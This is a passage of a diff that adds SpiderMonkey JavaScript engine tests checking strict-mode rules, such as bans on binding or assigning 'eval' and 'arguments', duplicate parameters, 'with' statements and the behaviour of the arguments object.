+Number.prototype.strict = strict;
+assertEq((42).strict(), 42);
+assertEq(42[strictString](), 42);
+
+String.prototype.strict = strict;
+assertEq("".strict(), "");
+assertEq(""[strictString](), "");
+
+function lenient() { return this; }
+assertEq(lenient.call("") instanceof String, true);
+assertEq(lenient.call(true) instanceof Boolean, true);
+assertEq(lenient.call(42) instanceof Number, true);
+assertEq(lenient.call(null), this);
+assertEq(lenient.call(undefined), this);
+assertEq(lenient.call(obj), obj);
+assertEq(new lenient() instanceof Object, true);
+
+var lenientString = 'lenient';
+
+Boolean.prototype.lenient = lenient;
+assertEq(true.lenient() instanceof Boolean, true);
+assertEq(true[lenientString]() instanceof Boolean, true);
+
+Number.prototype.lenient = lenient;
+assertEq(42[lenientString]() instanceof Number, true);
+
+String.prototype.lenient = lenient;
+assertEq(""[lenientString]() instanceof String, true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/10.6.js b/js/src/tests/non262/strict/10.6.js
new file mode 100644
index 0000000000..3001d0ddcd
--- /dev/null
+++ b/js/src/tests/non262/strict/10.6.js
@@ -0,0 +1,55 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function callFunctionBody(expr) {
+ return (
+ '(function f() {\n'
+ + 'Object.defineProperties(arguments, {1: { writable: false },\n'
+ + ' 2: { configurable: false },\n'
+ + ' 3: { writable: false,\n'
+ + ' configurable: false }});\n'
+ + 'return (' + expr + ');\n'
+ + '})(0, 1, 2, 3);');
+}
+
+assertEq(testLenientAndStrict(callFunctionBody('arguments[0] = 42'),
+ returns(42), returns(42)),
+ true);
+
+assertEq(testLenientAndStrict(callFunctionBody('delete arguments[0]'),
+ returns(true), returns(true)),
+ true);
+
+
+assertEq(testLenientAndStrict(callFunctionBody('arguments[1] = 42'),
+ returns(42), raisesException(TypeError)),
+ true);
+
+assertEq(testLenientAndStrict(callFunctionBody('delete arguments[1]'),
+ returns(true), returns(true)),
+ true);
+
+
+assertEq(testLenientAndStrict(callFunctionBody('arguments[2] = 42'),
+ returns(42), returns(42)),
+ true);
+
+assertEq(testLenientAndStrict(callFunctionBody('delete arguments[2]'),
+ returns(false), raisesException(TypeError)),
+ true);
+
+
+assertEq(testLenientAndStrict(callFunctionBody('arguments[3] = 42'),
+ returns(42), raisesException(TypeError)),
+ true);
+
+assertEq(testLenientAndStrict(callFunctionBody('delete arguments[3]'),
+ returns(false), raisesException(TypeError)),
+ true);
+
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/11.1.5.js b/js/src/tests/non262/strict/11.1.5.js
new file mode 100644
index 0000000000..7ba12fa98a
--- /dev/null
+++ b/js/src/tests/non262/strict/11.1.5.js
@@ -0,0 +1,171 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/* Simple identifier labels. */
+assertEq(testLenientAndStrict('({x:1, x:1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({x:1, y:1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({x:1, y:1, x:1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+/* Property names can be written as strings, too. */
+assertEq(testLenientAndStrict('({x:1, "x":1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({"x":1, x:1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({"x":1, "x":1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+/* Numeric property names. */
+assertEq(testLenientAndStrict('({1.5:1, 1.5:1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({1.5:1, 15e-1:1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({6.02214179e23:1, 6.02214179e23:1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({6.02214179e23:1, 3.1415926535:1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({ 1: 1, "1": 2 })',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({ "1": 1, 1: 2 })',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({ 2.5: 1, "2.5": 2 })',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({ "2.5": 1, 2.5: 2 })',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+/* Many properties, to exercise JSAtomList's hash-table variant. */
+assertEq(testLenientAndStrict('({a:1, b:1, c:1, d:1, e:1, f:1, g:1, h:1, i:1, j:1, k:1, l:1, m:1, n:1, o:1, p:1, q:1, r:1, s:1, t:1, u:1, v:1, w:1, x:1, y:1, z:1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({a:1, b:1, c:1, d:1, e:1, f:1, g:1, h:1, i:1, j:1, k:1, l:1, m:1, n:1, o:1, p:1, q:1, r:1, s:1, t:1, u:1, v:1, w:1, x:1, y:1, a:1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+/*
+ * Getters, setters, and value properties should conflict only when
+ * appropriate.
+ */
+assertEq(testLenientAndStrict('({get x() {}, x:1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({x:1, get x() {}})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({set x(q) {}, x:1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({x:1, set x(q) {}})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({1:1, set 1(q) {}})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({set 1(q) {}, 1:1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({"1":1, set 1(q) {}})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({set 1(q) {}, "1":1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({get x() {}, set x(q) {}})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({set x(q) {}, get x() {}})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({get x() {}, set x(q) {}, x:1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({set x(q) {}, get x() {}, x:1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({get x() {}, get x() {}})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({set x(q) {}, set x(q) {}})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({get x() {}, set x(q) {}, y:1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/11.13.1.js b/js/src/tests/non262/strict/11.13.1.js
new file mode 100644
index 0000000000..d3d3e6989d
--- /dev/null
+++ b/js/src/tests/non262/strict/11.13.1.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/*
+ * Simple assignment expressions in strict mode code must not be
+ * assignments to 'eval' or 'arguments'.
+ */
+assertEq(testLenientAndStrict('arguments=1',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('eval=1',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(arguments)=1',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(eval)=1',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/11.13.2.js b/js/src/tests/non262/strict/11.13.2.js
new file mode 100644
index 0000000000..678f0b614b
--- /dev/null
+++ b/js/src/tests/non262/strict/11.13.2.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/*
+ * Compound assignment expressions in strict mode code must not be
+ * assignments to 'eval' or 'arguments'.
+ */
+assertEq(testLenientAndStrict('arguments+=1',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('eval+=1',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(arguments)+=1',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(eval)+=1',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/11.3.1.js b/js/src/tests/non262/strict/11.3.1.js
new file mode 100644
index 0000000000..159f785838
--- /dev/null
+++ b/js/src/tests/non262/strict/11.3.1.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/*
+ * Postfix increment expressions must not have 'eval' or 'arguments'
+ * as their operands.
+ */
+assertEq(testLenientAndStrict('arguments++',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('eval++',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(arguments)++',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(eval)++',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/11.3.2.js b/js/src/tests/non262/strict/11.3.2.js
new file mode 100644
index 0000000000..c8225e1297
--- /dev/null
+++ b/js/src/tests/non262/strict/11.3.2.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/*
+ * Postfix decrement expressions must not have 'eval' or 'arguments'
+ * as their operands.
+ */
+assertEq(testLenientAndStrict('arguments--',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('eval--',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(arguments)--',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(eval)--',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/11.4.1.js b/js/src/tests/non262/strict/11.4.1.js
new file mode 100644
index 0000000000..1125962a35
--- /dev/null
+++ b/js/src/tests/non262/strict/11.4.1.js
@@ -0,0 +1,45 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/* Deleting an identifier is a syntax error in strict mode code only. */
+assertEq(testLenientAndStrict('delete x;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+/*
+ * A reference expression surrounded by parens is itself a reference
+ * expression.
+ */
+assertEq(testLenientAndStrict('delete (x);',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+/* Deleting other sorts of expressions are not syntax errors in either mode. */
+assertEq(testLenientAndStrict('delete x.y;',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+assertEq(testLenientAndStrict('delete Object();',
+ returns(true),
+ returns(true)),
+ true);
+
+/* Functions should inherit the surrounding code's strictness. */
+assertEq(testLenientAndStrict('function f() { delete x; }',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+/* Local directives override the surrounding code's strictness. */
+assertEq(testLenientAndStrict('function f() { "use strict"; delete x; }',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/11.4.4.js b/js/src/tests/non262/strict/11.4.4.js
new file mode 100644
index 0000000000..bd22b54f5c
--- /dev/null
+++ b/js/src/tests/non262/strict/11.4.4.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/*
+ * Prefix increment expressions must not have 'eval' or 'arguments' as
+ * their operands.
+ */
+assertEq(testLenientAndStrict('++arguments',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('++eval',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('++(arguments)',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('++(eval)',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/11.4.5.js b/js/src/tests/non262/strict/11.4.5.js
new file mode 100644
index 0000000000..754b8f96ef
--- /dev/null
+++ b/js/src/tests/non262/strict/11.4.5.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/*
+ * Prefix decrement expressions must not have 'eval' or 'arguments' as
+ * their operands.
+ */
+assertEq(testLenientAndStrict('--arguments',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('--eval',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('--(arguments)',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('--(eval)',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/12.10.1.js b/js/src/tests/non262/strict/12.10.1.js
new file mode 100644
index 0000000000..f45c77ad28
--- /dev/null
+++ b/js/src/tests/non262/strict/12.10.1.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/*
+ * 'with' statements are forbidden in strict top-level code. This is
+ * eval code, but that's close enough.
+ */
+assertEq(testLenientAndStrict('with (1) {}',
+ completesNormally,
+ raisesException(SyntaxError)),
+ true);
+
+/* 'with' statements are forbidden in strict function code. */
+assertEq(testLenientAndStrict('function f() { "use strict"; with (1) {} }',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+
+/*
+ * A use strict directive in a function mustn't affect the strictness
+ * of subsequent code.
+ */
+assertEq(parsesSuccessfully('function f() { "use strict"; }; with (1) {}'),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/12.14.1.js b/js/src/tests/non262/strict/12.14.1.js
new file mode 100644
index 0000000000..e7f9b303bd
--- /dev/null
+++ b/js/src/tests/non262/strict/12.14.1.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/*
+ * In strict mode, the identifier bound by a 'catch' clause may not
+ * be 'eval' or 'arguments'.
+ */
+assertEq(testLenientAndStrict('try{}catch(eval){}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('try{}catch([eval]){}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('try{}catch({x:eval}){}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('try{}catch(arguments){}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('try{}catch([arguments]){}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('try{}catch({x:arguments}){}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/12.2.1-01.js b/js/src/tests/non262/strict/12.2.1-01.js
new file mode 100644
index 0000000000..674c7a7c60
--- /dev/null
+++ b/js/src/tests/non262/strict/12.2.1-01.js
@@ -0,0 +1,75 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/*
+ * In strict mode code, 'let' and 'const' declarations may not bind
+ * 'eval' or 'arguments'.
+ */
+assertEq(testLenientAndStrict('let eval;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('let x,eval;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('let arguments;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('let x,arguments;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('const eval = undefined;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('const x = undefined,eval = undefined;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('const arguments = undefined;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('const x = undefined,arguments = undefined;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+/*
+ * In strict mode code, 'let' declarations appearing in 'for'
+ * or 'for in' statements may not bind 'eval' or 'arguments'.
+ */
+assertEq(testLenientAndStrict('for (let eval in [])break;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('for (let [eval] in [])break;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('for (let {x:eval} in [])break;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('for (let arguments in [])break;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('for (let [arguments] in [])break;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('for (let {x:arguments} in [])break;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/12.2.1.js b/js/src/tests/non262/strict/12.2.1.js
new file mode 100644
index 0000000000..ba348cf432
--- /dev/null
+++ b/js/src/tests/non262/strict/12.2.1.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+assertEq(testLenientAndStrict('var eval;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('var x,eval;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('var arguments;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('var x,arguments;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/13.1.js b/js/src/tests/non262/strict/13.1.js
new file mode 100644
index 0000000000..137a36d10c
--- /dev/null
+++ b/js/src/tests/non262/strict/13.1.js
@@ -0,0 +1,345 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/*
+ * In strict mode, it is a syntax error for an identifier to appear
+ * more than once in a function's argument list.
+ */
+
+/*
+ * The parameters of ordinary function definitions should not contain
+ * duplicate identifiers.
+ */
+assertEq(testLenientAndStrict('function f(x,y) {}',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+assertEq(testLenientAndStrict('function f(x,x) {}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('function f(x,y,z,y) {}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+/* Exercise the hashed local name map case. */
+assertEq(testLenientAndStrict('function f(a,b,c,d,e,f,g,h,d) {}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+/*
+ * SpiderMonkey has always treated duplicates in destructuring
+ * patterns as an error. Strict mode should not affect this.
+ */
+assertEq(testLenientAndStrict('function f([x,y]) {}',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+assertEq(testLenientAndStrict('function f([x,x]){}',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('function f(x,[x]){}',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+
+/*
+ * Strict rules apply to the parameters if the function's body is
+ * strict.
+ */
+assertEq(testLenientAndStrict('function f(x,x) { "use strict" };',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+
+/*
+ * Calls to the function constructor should not be affected by the
+ * strictness of the calling code, but should be affected by the
+ * strictness of the function body.
+ */
+assertEq(testLenientAndStrict('Function("x","x","")',
+ completesNormally,
+ completesNormally),
+ true);
+assertEq(testLenientAndStrict('Function("x","y","")',
+ completesNormally,
+ completesNormally),
+ true);
+assertEq(testLenientAndStrict('Function("x","x","\'use strict\'")',
+ raisesException(SyntaxError),
+ raisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('Function("x","y","\'use strict\'")',
+ completesNormally,
+ completesNormally),
+ true);
+
+
+/*
+ * The parameter lists of function expressions should not contain
+ * duplicate identifiers.
+ */
+assertEq(testLenientAndStrict('(function (x,x) {})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function (x,y) {})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+/*
+ * All permutations of:
+ * - For the two magic identifiers 'arguments' or 'eval'
+ * - For function definitions, function expressions, expression closures,
+ * and getter and setter property definitions,
+ * - For forms that inherit their context's strictness, and forms that
+ * include their own strictness directives,
+ * - For ordinary parameters, array destructuring parameters, and
+ * object destructuring parameters,
+ * - the magic identifiers may be used to name such parameters
+ * in lenient code, but not in strict code
+ * - the magic identifiers may be used as function names in lenient code,
+ * but not in strict code
+ */
+assertEq(testLenientAndStrict('function f(eval){}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('function f([eval]){}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('function f({x:eval}){}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('function eval(){}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('function f(eval){"use strict";}',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('function f([eval]){"use strict";}',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('function f({x:eval}){"use strict";}',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('function eval(){"use strict";}',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function f(eval){})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function f([eval]){})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function f({x:eval}){})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function eval(){})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function f(eval){"use strict";})',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function f([eval]){"use strict";})',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function f({x:eval}){"use strict";})',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function eval(){"use strict";})',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function f(eval) {})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function f([eval]) {})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function f({x:eval}) {})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function eval() {})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('({set x(eval){}})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('({set x([eval]){}})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('({set x({x:eval}){}})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('({set x(eval){"use strict";}})',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('({set x([eval]){"use strict";}})',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('({set x({x:eval}){"use strict";}})',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('function f(arguments){}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('function f([arguments]){}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('function f({x:arguments}){}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('function arguments(){}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('function f(arguments){"use strict";}',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('function f([arguments]){"use strict";}',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('function f({x:arguments}){"use strict";}',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('function arguments(){"use strict";}',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function f(arguments){})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function f([arguments]){})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function f({x:arguments}){})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function arguments(){})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function f(arguments){"use strict";})',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function f([arguments]){"use strict";})',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
